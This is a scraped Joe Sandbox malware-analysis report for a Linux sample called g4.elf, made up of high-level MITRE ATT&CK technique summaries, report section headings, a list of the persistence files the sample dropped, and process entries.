Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report g4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/init.d/hello

/etc/systemd/system/hello.service

/memfd:snapd-env-generator (deleted)

/tmp/crontab.tmp

/tmp/qemu-open.3s1YMz (deleted)

/var/spool/cron/crontabs/tmp.PQrdMA

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 5414, Parent PID: 3590

General

Chronological Activities

Analysis Process: rm PID: 5414, Parent PID: 3590

General

Chronological Activities

Analysis Process: dash PID: 5415, Parent PID: 3590

General

Chronological Activities

Analysis Process: rm PID: 5415, Parent PID: 3590

General

Chronological Activities

Analysis Process: g4.elf PID: 5427, Parent PID: 5350

General

Chronological Activities

Analysis Process: g4.elf PID: 5444, Parent PID: 5427

Linux Analysis Report
g4.elf